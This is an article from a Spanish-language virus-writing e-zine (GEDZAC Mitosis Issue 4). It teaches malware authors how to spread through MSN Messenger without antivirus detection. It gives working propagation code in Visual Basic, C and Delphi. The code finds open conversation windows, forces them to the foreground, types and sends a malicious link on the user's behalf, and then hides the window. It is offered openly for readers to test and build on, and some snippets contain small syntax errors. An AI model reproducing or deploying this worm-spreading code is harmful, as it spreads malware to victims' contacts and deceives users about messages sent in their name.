#GEDZAC Mitosis eZine Issue 4
#MITOSIS ARTICLE#
#Propagacion por MSN
#Autor: MOWPaX[GEDZAC] <mowpax[at]gedzac[dot]com>
Bueno, como todos sabemos, el programa Messenger es utilizado por el 99% de las computadoras conectadas a internet.Debico a esta enorme cifra los virus y demas progamas maliciosos buscan propagarse por medio de este servicio brindado por Windows.Para ello, los virus utilizan distintos metodos, el mas popular es usando las famosas Apis.Algunos antivirus ya reconocen a los programas que utilizan dichas apis para producir una reproduccion de si mismos y los detectan como peligrosos, bloqueando su acceso.
Por mi parte implente un metodo que consiste en:
* Listar las ventanas
* Verificar si alguna ventana es del MSN
* De ser asi pasamos a la Infeccion
Esto lo repito cada cierto tiempo.
Pasemos a la "Accion":
En el modulo escribimos esto:
Public Function Convers(ByVal hwnd As Long, ByVal lParam As Long) As Boolean
Dim Caption As String
Caption = Space$(GetWindowTextLength(hwnd) + 1)
GetWindowText hwnd, Caption, Len(Caption) 'traducimos
Caption = Left$(Caption, Len(Caption) - 1) 'cortamos
If Caption <> "" Then
If InStr(LCase(Caption), "conversación") <> 0 Then 'verificamos si la ventana es del msn en español
Form1.Charla (hwnd) 'Pasamos a infectar
End If
End If
Convers = True
End Function
Public Sub WindowHandle(ByVal hWindow As Long, ByVal mCase As eESTADOWIN)
If mCase = eWM_CLOSE Then 'Maximizamos las ventanas del MSN
SendMessage hWindow, eWM_CLOSE, 0, 0
Else
ShowWindow hWindow, mCase
End If
End Sub
EN EL FORM:
Private Sub Form_Load()
EnumWindows AddressOf Convers, ByVal 0&
End Sub
Sub Charla(hwnd)
Dim Spam As String
DoEvents
Spam = "mira www.virus.com"
DoEvents
WindowHandle Trim(Str$(hwnd)), eSW_MAXIMIZE 'Maximizamos la ventana del MSN
DoEvents
SetWindowPos Trim(Str$(hwnd)), -1, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE Or SWP_NOCOPYBITS 'Le damos el foco a la ventana
SetWindowPos Trim(Str$(hwnd)), -2, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE Or SWP_NOCOPYBITS 'aunke este de cualkier manera
SetForegroundWindow Trim(Str$(hwnd))
DoEvents
SendKeys Spam 'Escribimos el SPAM
DoEvents
SendKeys "~" 'Mandamos el Spam
DoEvents
SendKeys "{Esc}" 'Cerramos la ventana del msn
DoEvents
End Sub
Apis Utilizadas:
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Boolean
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function EnableWindow Lib "user32" (ByVal hwnd As Long, ByVal fEnable As Long) As Long
Declare Sub SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)
Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Const HWND_TOPMOST = -1
Public Const HWND_NOTOPMOST = -2
Public Const SWP_NOSIZE = &H1
Public Const SWP_NOMOVE = &H2
Public Const SWP_NOACTIVATE = &H10
Public Const SWP_SHOWWINDOW = &H40
Public Const SWP_NOOWNERZORDER = &H200 ' No usar el orden Z del propietario
Public Const SWP_NOCOPYBITS = &H100
Public Const SWP_NOREDRAW = &H8
Explicacion:
El form llama a la funcion que esta en el modulo. Dicha funcion lista todas las ventanas abiertas con sus respectivos caption's. Si alguno de esos caption con tiene la palabra "Conversación" significa que es una ventana del MSN (99%), entonces llamamos el Sub Charla, de alli guardamos en una variable el spam a enviar, luego le damos el foco a la ventana y la maxizamos para que no alla errores. Pasamos a enviar las teclas con un simple SendKeys, luego damos al Enter, y finalizamos con un Escape de teclas para no poder visualizar el spam enviado.
Entiendo que es un metodo simple y tal vez puedan pensar que no es muy efectivo, pero creanme que si lo es, a parte creo que vale mas la implementacion de un metodo inventado por vos que copiar el metodo ya inventado, pero solo es una opinion. Siempre me gusta inventar cosas, e intentar ser original y unico a la hora de programar, jeje, a veces no se logra.
Ahora expongo un code en C que hice tambien.
---------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
char MSN[13] = "Conversación";
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
int main()
{
EnumWindows((WNDENUMPROC)EnumWindowsProc, 0);
}
BOOL EnumWindowsProc(HWND hWnd, long lParam)
{
char Buff[255], NameOfClass[255];
GetWindowText(hWnd, Buff, 254); // titlul ferestrei
GetClassName(hWnd, NameOfClass, 254); // clasa
if (Buff == NULL);
{
if (strstr( Buff, MSN ) != NULL)
{
ShowWindow(hWnd,SW_MAXIMIZE );
SetForegroundWindow(hWnd);
Sleep(10);
keybd_event('S', 0, 0, 0);
keybd_event('P', 0, 0, 0);
keybd_event('A', 0, 0, 0);
keybd_event('M', 0, 0, 0);
keybd_event(VK_RETURN, 0, 0, 0);
Sleep(10);
}
}
return TRUE;
}
---------------------------------------------------------------------
Ahora en Delphi
---------------------------------------------------------------------
Procedure Manda_Spam(ww:hwnd);
Begin
Sleep(200);
SetForegroundWindow(ww);
keybd_event(ord('S'),0,0,0);
keybd_event(ord('P'),0,0,0);
keybd_event(ord('A'),0,0,0);
keybd_event(ord(M'),0,0,0);
end;
Function Busqueda(CL,CC: string):Boolean;
var i :integer;
Begin
Busqueda:=false;
for i := 1 to (Length(CL)-Length(CC)+1) do
Begin
If AnsiUpperCase(Copy(CL,i,Length(CC))) = AnsiUpperCase(CC) then
Begin
Busqueda:=True;
end;
end;
end;
function EnumWindowsProc(handle: Thandle; Param: lParam): boolean; stdcall;
var
Buff:Pchar;
begin
Buff:='';
result:= TRUE;
GetMem(Buff,254);
GetWindowText(handle, Buff, 254);
If Busqueda(String(Buff),'conversación') then
Manda_Spam(handle);
end;
---------------------------------------------------------------------
Bueno espero que se halla entendido, lamento decir que no soy bueno para explicar los codes, tal vez sea media corta mi explicacion, pero solo quiero exponer la teoria, luego el trabajo de crear el codigo tendrian que hacerlos ustedes. Expuse 3 codes (uno en VB, en C, y en Delphi) para que prueben y verifiquen como les resulta. Ambos codes funcionan perfectamente.
Saludos.
MOWPaX.
(C) Mitosis 4 - GEDZAC LABS